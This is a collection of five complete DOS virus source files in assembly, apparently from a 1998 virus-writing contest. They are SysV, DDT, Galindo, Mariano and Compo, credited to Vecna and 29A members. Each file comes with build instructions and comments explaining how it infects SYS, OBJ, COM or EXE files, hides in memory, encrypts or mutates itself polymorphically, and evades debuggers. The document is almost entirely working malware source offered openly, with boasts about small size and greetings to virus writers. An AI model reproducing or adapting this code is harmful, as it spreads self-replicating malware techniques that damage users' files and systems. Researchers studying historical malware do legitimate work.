ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[sysv.asm]ÄÄ
;[SysV] Resident SYS infector
;Copyright 1998 (c) Vecna
;
;This tiny virus, written to CyberYoda 150 bytes virus contest, is a resident
;SYS infector. It infect all SYS files closed(this mean copyed too). It use
;interruption substitution as a effective antidebugging trick against real
;mode debuggers, and goes resident in the IVT.
;
;At load, the infected SYS jump to the virus installer, that check for a copy
;already resident. If so, we return to the host, else we copy ourself to the
;IVT at 0x20:0, hook interrupt 0x21, saving the original vector to interrupt
;0x3.
;
;Each time a file is being closed, the virus infection routine activate. If
;the handle is above 5, we seek the start of file and read 16 bytes. Then,
;before we check if it is really a SYS file, we change the address of the
;interrupt routine, making it point to the end of the file. The check for
;a SYS file is then made. If isnt, we abort infection before any got changed.
;Else, we write the modificated header, and the virus body to the end of the
;file.
;
;Due the restriction of one virus by people, this virus dont taked part in the
;contest. The virus I presented was DDT, that got the 4th place.

.model tiny
.code
.386
org 0

VStart:
       push 1234h
     org $-2
Host   dw 0					; push old code begin
       push es
       push ds
       mov ax, -1
       int 21h					; check previous residency
       inc al
       jz Return
       call $+3
       pop si
       sub si, offset $-1			; get delta
       sub di, di
       push 20h
       pop es
       mov cl, LOW (offset VEnd-offset VStart)
       rep movsb				; zopy ourself to 20:0
       push 0
       pop ds
       mov ax, word ptr ds:[21h*4]
       mov word ptr ds:[3h*4], ax		; hook int 21
       mov ax, word ptr ds:[21h*4+2]
       mov word ptr ds:[3h*4+2], ax
       mov word ptr ds:[21h*4], offset int21
       mov word ptr ds:[21h*4+2], 20h
Return:
       pop ds
       pop es
       ret					; return to SYS host

int21:
       cmp ah, 3eh
       je InfectSYS				; If closing file, infect
CheckMe:
       cmp ax, -1				; If not our function, exec
       je Me					; real int21
NotMe:
       int 3h
Me:
       retf 2

InfectSYS:
       pusha
       push ds
       push es
       cmp bx, 5
       jb NotSYS				; handle too low?
Infect:
       call SeekEOF				; get host size
       mov bp, ax				; save it in BP
       call SeekBOF
       push cs
       pop ds
       mov ah, 3fh
       mov cl, 16
       mov dl, LOW (offset buffer)
       push dx
       push cx
       mov si, dx
       int 3h					; read SYS header
       xchg bp, word ptr ds:[si+6]
       mov word ptr ds:[Host], bp		; change INT routine to point
       call SeekBOF				; to virus
       mov ah, 40h
       pop cx
       pop dx
       cmp word ptr ds:[si], -1 		; Hey, is a SYS? (we not checked
       jne NotSYS				; this before ;)
       int 3h					; save modificated header
       call SeekEOF
       mov ah, 40h
       mov cx, offset VEnd-offset VStart
       int 3h					; write virus code to EOF
NotSYS:
       pop es
       pop ds
       popa
       jmp NotMe				; continue the file close

SeekEOF:
       mov ax, 4202h
       jmp $+5					; skip the mov...
SeekBOF:
       mov ax, 4200h
       sub cx, cx
       cwd
       int 3h
       ret

VEnd   equ this byte

buffer equ this byte

End VStart
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[sysv.asm]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ddt.asm]ÄÄ
;[DDT] Overwriting encripted OBJ infector
;Copyright 1998 (c) Vecna
;
;It search for LEDATA section and if it is bigger than the virus size(150),
;and the loading adress is 0x100(COM file), the start of the code is
;overwrited by a encripted copy of the virus.
;
;This virus won the 4th place in CyberYoda Contest, passed only by 3 otherz
;29A virus, namely Combo, Mariano and Win95.HonkKong.

.model tiny
.code
.startup

vstart:
	mov di, offset estart		       ; set the destination of the
enc:					       ; unencripted virus
	mov si, offset estart		       ; set the source
	mov cl, LOW (offset vend - offset estart)
eloop:
	lodsb				       ; get byte
	xor al, 00			       ; encript/decript
evalue	equ byte ptr $-1
	stosb
	loop eloop			       ; do next byte
	nop
estart:
	in al, 40h
	mov byte ptr [evalue], al	       ; set new encription value
	mov si, 100h
	mov cx, offset estart-offset vstart    ; copy the decriptor to viral
	rep movsb			       ; buffer
	mov byte ptr [estart-1], 00
      org $-1				       ; change the NOP by a RET
	ret
	call enc			       ; encript virus copy to viral
search: 				       ; buffer (DI point to end of
	mov ah, 4eh			       ; encriptor in viral buffer)
	mov cl, 27h
	mov dx, offset objmask		       ; search by *.OBJ
fnext:
	int 21h
	jc dos				       ; exit if not OBJ found
	mov ax, 3d02h
	mov dx, 009eh
	int 21h
	xchg ax, bx
nextsec:
	call read3			       ; read info field of OBJ
	jc close
	cmp al, 8ah			       ; ending field
	jz close
	cmp al, 0a0h			       ; LEDATA section??
	jz infect
skip:
	mov ax, 4201h
	xor cx, cx
	int 21h 			       ; go to next section
	jmp nextsec
close:
	mov ah, 3eh
	int 21h 			       ; close this file
	mov ah, 4fh			       ; and search next
	jmp fnext
dos:
	mov ah, 4ch
	int 21h 			       ; exit to DOS
infect:
	cmp dx, offset vend - offset vstart
	jbe skip			       ; section too small?
	sub dx, 3
	push dx 			       ; sub 3 from dx, because we
	call read3			       ; will read more 3 bytes
	jc close
	cmp dx, 0100h			       ; loading adress is 0x100???
	pop dx
	jnz nocom			       ; this OBJ will not be COM...
	mov cl, LOW (offset vend - offset vstart)
	sub dx, cx			       ; calculate how much we already
	push dx 			       ; moved the file pointer
	mov ah, 40h
	mov dx, offset vcopy		       ; write encripted copy
	int 21h
	pop dx
nocom:
	jmp skip			       ; do next section

objmask db '*.obj', 0                          ; OBJ file mask

read3:
	mov ah, 3fh
	mov cl, 3h
	mov dx, offset buffer		       ; read 3 bytes
	int 21h
	mov al, byte ptr ds:[buffer]	       ; set AL to first byte
	mov dx, word ptr ds:[buffer+1]	       ; and DX to the word after
	ret

vend equ this byte

vcopy  db offset vend - offset vstart+10h dup(?)

buffer equ this byte

end
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ddt.asm]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[galindo.asm]ÄÄ

      ;==============================;
      ;        GALINDO virus	     ;
      ;==============================;
      ;      Made by Super/29A	     ;
      ;==============================;

; This is a spawning resident COM & EXE infector.
; Galindo's length = 72 bytes !!!
; wow!

; Greetings to: 29A and all virii writers.
; Special thanks to DARKMAN, MRSANDMAN & SLUG for their colaboration
;
; Compile with:
;	TASM /m29A galindo.asm
;	TLINK /t galindo.obj


;--------------------------------------------------------------------------
    .model tiny  ;yep! very very tiny!!!
    .code
    .386  ;so as to fuck 8086 users   X=D
    org 100h

vir_start:
;===================================================================
    pop es ; es=0000
    scasw ; di=0000
    lds bx,[di+0ah] ; points after a "ah=4b/int21"
    mov [bx-1],al ;change "int21" to "int00"
    mov al,10h ; (ax  was zero)
    stosw      ;
    add ax,dx  ; set int00 ---> (cs+0010h):(offset infect-0100h)
    stosw      ;
    int 27h ; stay resident (dx = ds = es  in most dos versions)
infect:
    lea di,[bx+40h] ; es:di = ds:bx+40 = command.com stack
    mov si,dx ; ds:si = ds:dx
    pusha   ; save regs
    push ds ;
    push di
copy_filename:
    cmp byte ptr [si],'.' ;
    movsb		  ; store filename
    jnz copy_filename	  ;
    mov dword ptr [si],004d4f43h ; add extension COM
    mov ax,5845h ;
    stosw	 ; add extension EXE
    cbw 	 ;
    stosw	 ;
    pop di
    mov ah,56h ; rename to EXE
    int 21h    ;
    mov ah,3ch	 ; create virus  :=)
    mov cx,3e00h ;
    int 21h	 ;
    push cs	    ;
    pop ds	    ;
    mov bh,40h	    ;
    xchg bx,ax	    ; write virus  :)
    cwd 	    ;  (writes 3e00h bytes)
    int 21h	    ;
    int 21h    ; close file
	       ; (ax equals 3e00h)
    pop ds ;
    popa   ; load regs
    mov dx,di ; ds:dx = ds:bx+40 = filename.exe
    int 21h   ; execute host
    iret ; return control to command.com
;===================================================================
end vir_start
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[galindo.asm]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[mariano.asm]ÄÄ

      ;==============================;
      ;        MARIANO virus	     ;
      ;==============================;
      ;      Made by Super/29A	     ;
      ;==============================;

; This is a polymorphic resident COM & EXE companion
; Mariano's length = 147 bytes !!!
; wow!
;
; This virus is dedicated to Mariano Mariano
;
; Greetings to: 29A and all virii writers.
;
; Compile with:
;	TASM /m29A mariano.asm
;	TLINK /t mariano.obj


;--------------------------------------------------------------------------
    .model tiny  ;yep! very very tiny!!!
    .code
    .386  ;so as to fuck 8086 users   X=D
    org 100h

vir_start:
;===================================================================
    call entry_point

hook:
    pusha ; save regs

    mov si,dx ; ds:si = ds:dx
    lea dx,[bx+40h] ; ds:dx = ds:bx+40 = command.com stack
    mov di,dx ; es:di = ds:bx+40
    push si
copy_filename:
    cmp byte ptr [si],'.' ;
    movsb		  ; store filename
    jnz copy_filename	  ;
    mov dword ptr [di],004d4f43h ; add extension COM
    mov dword ptr [si],00455845h ; add extension EXE
    pop di
    mov ah,56h ; rename to EXE
    int 21h    ;
    mov ah,3ch	 ; create virus  :=)
    mov cl,1	 ; (read-only attribute)
    int 21h	 ;
    xchg bx,ax	 ;


;------------> here starts poly engine <------------;

    call get_delta
get_delta:
    pop si
    sub si,(offset get_delta-offset vir_start)
    mov di,dx	  ;buffer to encrypt the virus
    mov bp,10bh   ;memory displacement of XOR instruction
    call garbage  ;insert some garbage
    and cl,ah	  ;cl=00 or 01	meaning SI or DI , the index reg
    mov al,0beh   ;MOV index_reg,xxxx
    xor al,cl	  ;adjust the chosen index reg
    stosb	  ;store MOV opcode
    in ax,40h
    stosw	  ;store random value
    sub bp,ax	  ;adjust memory displacement
    call garbage  ;insert more garbage
    mov ax,0b480h ;XOR BYTE PTR [index_reg+random_displacement],random_byte
    xor ah,cl	;adjust chosen index reg
    stosw	;store XOR opcode
    xchg bp,ax
    stosw	;store memory displacement
    mov eax,0f8794600h
    or ah,cl ;choose INC SI or INC DI
    in al,40h ;choose random key
    stosd ;store: random_byte, INC, JNS
    mov cx,vir_length
decrypt:
    movs byte ptr es:[di],cs:[si] ;copy byte to buffer
    xor byte ptr [di-1],al ;encrypt byte
    loop decrypt

;-------------> here ends poly engine <-------------;


    sub di,dx	    ;
    mov cx,di	    ;
    mov ah,40h	    ; write virus  :)
    int 21h	    ;

    mov ah,3eh ;
    int 21h    ; close file

    popa ; load regs
    int 21h ; execute host
    iret ; return control to command.com

garbage proc
    inc bp ;adjust memory displacement where to start decryption
    inc bp ;because the garbage instruction is 2 byte long
    in ax,40h
    and al,111b ;
    or al,0b0h	; select a MOV reg_8bits,random_byte
    stosw ;store it
    jp garbage ;more garbage? yes please
    ret
garbage endp


entry_point:
    mov ax,2503h	;
    pop dx		; set int3 interrupt vector
    int 21h		;
    les di,[di+2+0ah] ; points after a "ah=4b/int21"
    dec di ;
    stosb  ; transform "int21" into "int03"
    inc dh  ;
    int 27h ; stay resident

;===================================================================
vir_length equ $-offset vir_start
end vir_start
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[mariano.asm]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[compo.asm]ÄÄ
comment *
				 Compo		       ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
				Code by 	       ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
			      Darkman/29A		ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
						       ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
						       ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ

  Compo is a 145 bytes parasitic direct action new executable EXE virus.
  Infects every file in current directory, when executed, by overwriting a
  known area of constant bytes with the virus. Compo uses tunneling of
  interrupt 21h and is oligomorphic in file.

  I would like to thank Grog for the idea to this virus and Neurobasher for
  the idea to the tunneling of interrupt 21h.

  To compile Compo with Turbo Assembler v 4.0 type:
    TASM /M COMPO.ASM
    TLINK /x COMPO.OBJ
*

.model tiny
.code

code_begin:
	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     mov     ax,4c00h		 ; Terminate with return code

	     jmp     virus_begin

	     db      59h dup(?)
virus_begin:
	     lea     di,crypt_begin	 ; DI = offset of crypt_begin
	     push    di 		 ; Save DI at stack

oligo_crypt  proc    near		 ; 8-bit ADD/SUB encryptor/decryptor
	     mov     cx,(crypt_end-crypt_begin)
crypt_loop:
crypt_algo   equ     byte ptr $+01h	 ; 8-bit encryption/decryption algo...
crypt_key    equ     byte ptr $+02h	 ; 8-bit encryption/decryption key
	     add     byte ptr [di],00h	 ; 8-bit ADD/SUB encrypt/decrypt
	     inc     di 		 ; Increase DI
	     loop    crypt_loop

	     ret			 ; Return!
	     endp
crypt_begin:
	     cli			 ; Clear interrupt-enable flag
	     xor     sp,sp		 ; Zero SP

	     push    ax 		 ; Save AX at stack

	     push    es 		 ; Save ES at stack
	     mov     ah,52h		 ; Get list of lists
	     int     21h
	     mov     ax,es		 ; AX = DOS data segment
	     pop     es 		 ; Load ES from stack

	     cmp     ax,0a000h		 ; DOS data segment in Upper Memory...
	     jb      virus_exit 	 ; Below? Jump to virus_exit

	     mov     word ptr [int21_addr+02h],ax

	     mov     ah,4eh		 ; Find first matching file
	     lea     dx,file_specifi	 ; DX = offset of file_specifi
find_next:
	     call    int21_simula
	     jnc     infect_file	 ; No error? Jump to infect_file
virus_exit:
	     pop     ax 		 ; Load AX from stack
	     int     21h
infect_file:
	     push    es 		 ; Save ES at stack
	     pop     ds 		 ; Load DS from stack (ES)

	     mov     ax,3d02h		 ; Open file (read/write)
	     mov     dl,9eh		 ; DX = offset of filename in Disk ...
	     call    int21_simula
	     xchg    ax,bx		 ; BX = file handle
	     jc      find_next_ 	 ; Error? Jump to find_next_

	     mov     ax,4200h		 ; Set current file position (SOF)
	     xor     cx,cx		 ; Zero CX
	     mov     dx,25eh		 ; CX:DX = offset from origin of ne...
	     call    int21_simula

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     mov     ah,3fh		 ; Read from file
	     mov     cl,02h		 ; Read two bytes
	     mov     dl,low offset data_buffer
	     call    int21_simula

	     mov     di,dx		 ; DI = offset of data_buffer
	     cmp     [di],0100110000000001b
	     jne     close_file 	 ; Infectable new executable? Not ...?

	     in      al,40h
	     lea     si,virus_begin	 ; SI = offset of virus_begin
	     mov     [si+(crypt_key-virus_begin)],al

	     push    es 		 ; Save ES at stack
	     push    cs 		 ; Save CS at stack
	     pop     es 		 ; Load ES from stack (CS)

	     cld			 ; Clear direction flag
	     mov     cl,(code_end-virus_begin)
	     rep     movsb		 ; Create a copy of the virus
	     pop     es 		 ; Load ES from stack

	     lea     di,data_buffer+(crypt_begin-virus_begin)
	     call    oligo_crypt

	     xor     byte ptr [si+(crypt_algo-virus_begin)],(00000101b xor 00101101b)

	     mov     ah,40h		 ; Write to file
	     mov     cl,(code_end-virus_begin)
	     call    int21_simula
close_file:
	     mov     ah,3eh		 ; Close file
	     call    int21_simula
find_next_:
	     mov     ah,4fh		 ; Find next matching file

	     jmp     find_next

int21_simula proc    near		 ; Simulate interrupt 21h
	     pushf			 ; Save flags at stack

	     db      10011010b		 ; CALL imm32 (opcode 9ah)
int21_addr   dd      0000109eh		 ; Address of interrupt 21h

	     ret			 ; Return!
	     endp

file_specifi db      '*.EXE'             ; File specification
crypt_end:
code_end:
data_buffer  db      (code_end-virus_begin) dup(?)
virus_name   db      '[Compo] '          ; Name of the virus
virus_author db      '[Darkman/29A]'     ; Author of the virus
data_end:

end	     code_begin
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[compo.asm]ÄÄ
